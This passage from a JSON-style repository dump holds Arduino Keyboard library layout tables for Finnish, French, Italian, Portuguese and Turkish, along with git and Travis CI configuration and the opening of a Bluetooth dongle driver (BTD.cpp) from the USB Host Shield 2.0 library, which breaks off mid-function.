0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/fi_fi.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS\n  0x00,             // US\n\n  0x2c,          //  ' '\n  0x1e|SHIFT,    // !\n  0x1f|SHIFT,    // \"\n  0x20|SHIFT,    // #\n  0x21,          // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x31,          // '\n  0x25|SHIFT,    // (\n  0x26|SHIFT,    // )\n  0x31|SHIFT,    // *\n  0x2d,          // +\n  0x36,          // ,\n  0x38,          // -\n  0x37,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x37|SHIFT,      // :\n  0x36|SHIFT,      // ;\n  0x64,            // <\n  0x27|SHIFT,      // =\n  0x64|SHIFT,      // >\n  0x2d|SHIFT,      // ?\n  0x1f,            // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x25,          // [\n  0x2d,          // bslash\n  0x26,          // ]\n  0x23,          // ^\n  0x38|SHIFT,    // _\n  0x2d|SHIFT,    // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x24,          // {\n  0x36,          // |\n  0x27,          // }\n  0x2d,          // ~\n  0              // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/fr_fr.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n   0x00,             // NUL\n   0x00,             // SOH\n   0x00,             // STX\n   0x00,             // ETX\n   0x00,             // EOT\n   0x00,             // ENQ\n   0x00,             // ACK\n   0x00,             // BEL\n   0x2a,      // BS  Backspace\n   0x2b,      // TAB  Tab\n   0x28,      // LF  Enter\n   0x00,             // VT\n   0x00,             // FF\n   0x00,             // CR\n   0x00,             // SO\n   0x00,             // SI\n   0x00,             // DEL\n   0x00,             // DC1\n   0x00,             // DC2\n   0x00,             // DC3\n   0x00,             // DC4\n   0x00,             // NAK\n   0x00,             // SYN\n   0x00,             // ETB\n   0x00,             // CAN\n   0x00,             // EM\n   0x00,             // SUB\n   0x00,             // ESC\n   0x00,             // FS\n   0x00,             // GS\n   0x00,             // RS\n   0x00,             // US\n\n   0x2c,       //  ' '\n   0x38,           // !\n   0x20,          // \"\n   0x20,          // #\n   0x30,          // $\n   0x34|SHIFT,    // %\n   0x1e,          // &\n   0x21,          // '\n   0x22,          // (\n   0x2d,          // )\n   0x31,          // *\n   0x2e|SHIFT,    // +\n   0x10,          // ,\n   0x23,          // -\n   0x36|SHIFT,    // .\n   0x37|SHIFT,    // /\n   0x27|SHIFT,    // 0\n   0x1e|SHIFT,    // 1\n   0x1f|SHIFT,    // 2\n   0x20|SHIFT,    // 3\n   0x21|SHIFT,    // 4\n   0x22|SHIFT,    // 5\n   0x23|SHIFT,    // 6\n   0x24|SHIFT,    // 7\n   0x25|SHIFT,    // 8\n   0x26|SHIFT,    // 9\n   0x37,            // :\n   0x36,          // ;\n   0x64,            // <\n   0x2e,          // =\n   0x64|SHIFT,      // >\n   0x10|SHIFT,      // ?\n   0x27,            // @\n   0x14|SHIFT,      // A\n   0x05|SHIFT,      // B\n   0x06|SHIFT,      // C\n   0x07|SHIFT,      // D\n   0x08|SHIFT,      // E\n   0x09|SHIFT,      // F\n   0x0a|SHIFT,      // G\n   0x0b|SHIFT,      // H\n   0x0c|SHIFT,      // I\n   0x0d|SHIFT,      // J\n   0x0e|SHIFT,      // K\n   0x0f|SHIFT,      // L\n   0x33|SHIFT,      // M\n   0x11|SHIFT,      // N\n   0x12|SHIFT,      // O\n   0x13|SHIFT,      // P\n   0x04|SHIFT,      // Q\n   0x15|SHIFT,      // R\n   0x16|SHIFT,      // S\n   0x17|SHIFT,      // T\n   0x18|SHIFT,      // U\n   0x19|SHIFT,      // V\n   0x1d|SHIFT,      // W\n   0x1b|SHIFT,      // X\n   0x1c|SHIFT,      // Y\n   0x1a|SHIFT,      // Z\n   0x22,          // [\n   0x25,          // bslash\n   0x2d,          // ]\n   0x26,          // ^\n   0x25,          // _\n   0x24,          // `\n   0x14,          // a\n   0x05,          // b\n   0x06,          // c\n   0x07,          // d\n   0x08,          // e\n   0x09,          // f\n   0x0a,          // g\n   0x0b,          // h\n   0x0c,          // i\n   0x0d,          // j\n   0x0e,          // k\n   0x0f,          // l\n   0x33,          // m\n   0x11,          // n\n   0x12,          // o\n   0x13,          // p\n   0x04,          // q\n   0x15,          // r\n   0x16,          // s\n   0x17,          // t\n   0x18,          // u\n   0x19,          // v\n   0x1d,          // w\n   0x1b,          // x\n   0x1c,          // y\n   0x1a,          // z\n   0x21,    // {\n   0x23,    // |\n   0x2e,    // }\n   0x1f,    // ~\n   0        // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/it_it.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK  \n  0x00,             // BEL\n  0x2a,     // BS Backspace\n  0x2b,     // TAB  Tab\n  0x28,     // LF Enter\n  0x00,             // VT \n  0x00,             // FF \n  0x00,             // CR \n  0x00,             // SO \n  0x00,             // SI \n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM \n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS \n  0x00,             // GS \n  0x00,             // RS \n  0x00,             // US \n\n  0x2c,          //  ' '\n  0x1e|SHIFT,    // !\n  0x1f|SHIFT,    // \"\n  0x34,          // #\n  0x21|SHIFT,    // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x2d,          // '\n  0x25|SHIFT,    // (\n  0x26|SHIFT,    // )\n  0x30|SHIFT,    // *\n  0x30,          // +\n  0x36,          // ,\n  0x38,          // -\n  0x37,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x37|SHIFT,    // :\n  0x36|SHIFT,    // ;\n  0x64,          // <\n  0x27|SHIFT,      // =\n  0x64|SHIFT,      // >\n  0x2d|SHIFT,      // ?\n  0x33,            // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x2f,          // [\n  0x35,          // bslash\n  0x30,          // ]\n  0x2e|SHIFT,    // ^\n  0x38|SHIFT,    // _\n  0x39,          // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x2f|SHIFT,    // {\n  0x35|SHIFT,    // |\n  0x30|SHIFT,    // }\n  0x34,    // ~\n  0       // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/pt_pt.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS\n  0x00,             // US\n  0x2c,       //  ' '\n  0x1e|SHIFT,    // !\n  0x1f|SHIFT,    // \"\n  0x20|SHIFT,    // #\n  0x21|SHIFT,    // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x2d,          // '\n  0x25|SHIFT,    // (\n  0x26|SHIFT,    // )\n  0x2f|SHIFT,    // *\n  0x2f,          // +\n  0x36,          // ,\n  0x38,          // -\n  0x37,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x37|SHIFT,    // :\n  0x36|SHIFT,    // ;\n  0x64,          // <\n  0x27|SHIFT,    // =\n  0x64|SHIFT,      // >\n  0x2d|SHIFT,      // ?\n  0x1f,            // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x25,          // [\n  0x35,          // bslash\n  0x26,          // ]\n  0x31|SHIFT,    // ^\n  0x38|SHIFT,    // _\n  0x30|SHIFT,    // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x24,          // {\n  0x35|SHIFT,    // |\n  0x27,          // }\n  0x31,          // ~\n  0        // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/tr_tr.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS\n  0x00,             // US\n\n  0x2c,          //  ' '\n  0x1e|SHIFT,    // !\n  0x35,          // \"\n  0x20,          // #\n  0x21,          // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x1f|SHIFT,    // '\n  0x25|SHIFT,    // (\n  0x26|SHIFT,    // )\n  0x2d,          // *\n  0x21|SHIFT,    // +\n  0x31,          // ,\n  0x2e,          // -\n  0x38,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x38|SHIFT,    // :\n  0x31|SHIFT,    // ;\n  0x64,          // <\n  0x27|SHIFT,      // =\n  0x64|SHIFT,      // >\n  0x2d|SHIFT,      // ?\n  0x14,            // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x25,          // [\n  0x2d,          // bslash\n  0x26,          // ]\n  0x20|SHIFT,    // ^\n  0x2e|SHIFT,    // _\n  0x35,          // ` //DOES NOT WORK\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x34,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x24,          // {\n  0x64,    \t // |\n  0x27,    \t // }\n  0x30,    \t // ~\n  0        \t // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.gitattributes",
    "content": "# Auto detect text files and perform LF normalization\n* text=auto\n* text eol=lf\n\n# Custom for Visual Studio\n*.cs     diff=csharp\n*.sln    merge=union\n*.csproj merge=union\n*.vbproj merge=union\n*.fsproj merge=union\n*.dbproj merge=union\n\n# Standard to msysgit\n*.doc\t diff=astextplain\n*.DOC\t diff=astextplain\n*.docx diff=astextplain\n*.DOCX diff=astextplain\n*.dot  diff=astextplain\n*.DOT  diff=astextplain\n*.pdf  diff=astextplain\n*.PDF\t diff=astextplain\n*.rtf\t diff=astextplain\n*.RTF\t diff=astextplain\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.gitignore",
    "content": "*.bak\n*.zip\n*.rar\nbuild/"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.gitmodules",
    "content": "[submodule \"examples/testusbhostFAT/generic_storage\"]\n\tpath = examples/testusbhostFAT/generic_storage\n\turl = https://github.com/xxxajk/generic_storage\n[submodule \"examples/testusbhostFAT/xmem2\"]\n\tpath = examples/testusbhostFAT/xmem2\n\turl = https://github.com/xxxajk/xmem2\n[submodule \"examples/testusbhostFAT/Arduino_Makefile_master\"]\n\tpath = examples/testusbhostFAT/Arduino_Makefile_master\n\turl = https://github.com/xxxajk/Arduino_Makefile_master\n[submodule \"examples/testusbhostFAT/RTClib\"]\n\tpath = examples/testusbhostFAT/RTClib\n\turl = https://github.com/xxxajk/RTClib\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.travis.yml",
    "content": "language: python\npython:\n    - \"2.7\"\n\n# Cache PlatformIO packages using Travis CI container-based infrastructure\nsudo: false\ncache:\n    directories:\n        - \"~/.platformio\"\n\n# Generated using: find examples -type f -name \"*.ino\" | rev | cut -d/ -f2- | rev | sed 's/^/    - PLATFORMIO_CI_SRC=/' > tmp.yml\nenv:\n    - PLATFORMIO_CI_SRC=examples/acm/acm_terminal\n    - PLATFORMIO_CI_SRC=examples/adk/adk_barcode\n    - PLATFORMIO_CI_SRC=examples/adk/ArduinoBlinkLED\n    - PLATFORMIO_CI_SRC=examples/adk/demokit_20\n    - PLATFORMIO_CI_SRC=examples/adk/term_test\n    - PLATFORMIO_CI_SRC=examples/adk/term_time\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/BTHID\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3BT\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3Multi\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3SPP\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/PS4BT\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/SPP\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/SPPMulti\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/Wii\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiBalanceBoard\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiIRCamera PLATFORMIO_BUILD_FLAGS=\"-DWIICAMERA\"\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiMulti\n    - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiUProController\n    - PLATFORMIO_CI_SRC=examples/board_qc\n    - PLATFORMIO_CI_SRC=examples/cdc_XR21B1411/XR_terminal\n    - PLATFORMIO_CI_SRC=examples/ftdi/USBFTDILoopback\n    - PLATFORMIO_CI_SRC=examples/HID/le3dp\n    - PLATFORMIO_CI_SRC=examples/HID/scale\n    - PLATFORMIO_CI_SRC=examples/HID/SRWS1\n    - PLATFORMIO_CI_SRC=examples/HID/USBHID_desc\n    - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbd\n    - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbdAndMouse\n    - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootMouse\n    - PLATFORMIO_CI_SRC=examples/HID/USBHIDJoystick\n    - PLATFORMIO_CI_SRC=examples/HID/USBHIDMultimediaKbd\n    - PLATFORMIO_CI_SRC=examples/hub_demo\n    - PLATFORMIO_CI_SRC=examples/max_LCD\n    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gprs_terminal\n    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gps\n    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_tinygps\n    - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_xbee_terminal\n    - PLATFORMIO_CI_SRC=examples/PS3USB\n    - PLATFORMIO_CI_SRC=examples/PS4USB\n    - PLATFORMIO_CI_SRC=examples/PSBuzz\n    # - PLATFORMIO_CI_SRC=examples/testusbhostFAT\n    - PLATFORMIO_CI_SRC=examples/USB_desc\n    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/bidirectional_converter\n    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/eVY1_sample\n    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter\n    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter_multi\n    - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USBH_MIDI_dump\n    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXOLD\n    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXONE\n    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXRECV\n    - PLATFORMIO_CI_SRC=examples/Xbox/XBOXUSB\n\ninstall:\n    - pip install -U platformio\n    - export PLATFORMIO_BUILD_FLAGS=\"$PLATFORMIO_BUILD_FLAGS -DDEBUG_USB_HOST -Wall -Werror\"\n\n    #\n    # Libraries from PlatformIO Library Registry:\n    #\n    # http://platformio.org/lib/show/62/MIDI\n    # http://platformio.org/lib/show/416/TinyGPS\n    # http://platformio.org/lib/show/417/SPI4Teensy3\n    - platformio lib install 62 416 417\n\nscript:\n    - platformio ci --lib=\".\" --board=uno --board=due --board=genuino101 --board=teensy30 --board=teensy31 --board=teensy35 --board=teensy36 --board=teensylc --board=esp12e --board=nodemcu --board=esp32dev\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTD.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"BTD.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n\nconst uint8_t BTD::BTD_CONTROL_PIPE = 0;\nconst uint8_t BTD::BTD_EVENT_PIPE = 1;\nconst uint8_t BTD::BTD_DATAIN_PIPE = 2;\nconst uint8_t BTD::BTD_DATAOUT_PIPE = 3;\n\nBTD::BTD(USB *p) :\nconnectToWii(false),\npairWithWii(false),\nconnectToHIDDevice(false),\npairWithHIDDevice(false),\npUsb(p), // Pointer to USB class instance - mandatory\nbAddress(0), // Device address - mandatory\nbNumEP(1), // If config descriptor needs to be parsed\nqNextPollTime(0), // Reset NextPollTime\npollInterval(0),\nbPollEnable(false) // Don't start polling before dongle is connected\n{\n        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)\n                btService[i] = NULL;\n\n        Initialize(); // Set all variables, endpoint structs etc. to default values\n\n        if(pUsb) // Register in USB subsystem\n                pUsb->RegisterDeviceClass(this); // Set devConfig[] entry\n}\n\nuint8_t BTD::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n\n        Initialize(); // Set all variables, endpoint structs etc. to default values\n\n        AddressPool &addrPool = pUsb->GetAddressPool(); // Get memory address of USB device address pool\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nBTD ConfigureDevice\"), 0x80);\n#endif\n\n        if(bAddress) { // Check if address has already been assigned to an instance\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress in use\"), 0x80);\n#endif\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n\n        p = addrPool.GetUsbDevicePtr(0); // Get pointer to pseudo device with address 0 assigned\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nepinfo is null\"), 0x80);\n#endif\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        oldep_ptr = p->epinfo; // Save old pointer to EP_RECORD of address 0\n        p->epinfo = epInfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->lowspeed = lowspeed;\n        rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data\n\n        p->epinfo = oldep_ptr; // Restore p->epinfo\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        bAddress = addrPool.AllocAddress(parent, false, port); // Allocate new address according to device class\n\n        if(!bAddress) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nOut of address space\"), 0x80);\n#endif\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n        }\n\n        if (udd->bDeviceClass == 0x09) // Some dongles have an USB hub inside\n                goto FailHub;\n\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Extract Max Packet Size from device descriptor\n        epInfo[1].epAddr = udd->bNumConfigurations; // Steal and abuse from epInfo structure to save memory\n\n        VID = udd->idVendor;\n        PID = udd->idProduct;\n\n        return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET;\n\nFailHub:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nPlease create a hub instance in your code: \\\"USBHub Hub1(&Usb);\\\"\"), 0x80);\n#endif\n        pUsb->setAddr(bAddress, 0, 0); // Reset address\n        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n        Release();\n        return rcode;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr(rcode);\n#endif\n        if(rcode != hrJERR)\n                rcode = USB_ERROR_FailGetDevDescr;\n        Release();\n        return rcode;\n};\n\nuint8_t BTD::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) {\n        uint8_t rcode;\n        uint8_t num_of_conf = epInfo[1].epAddr; // Number of configurations\n        epInfo[1].epAddr = 0;\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n#ifdef EXTRADEBUG\n        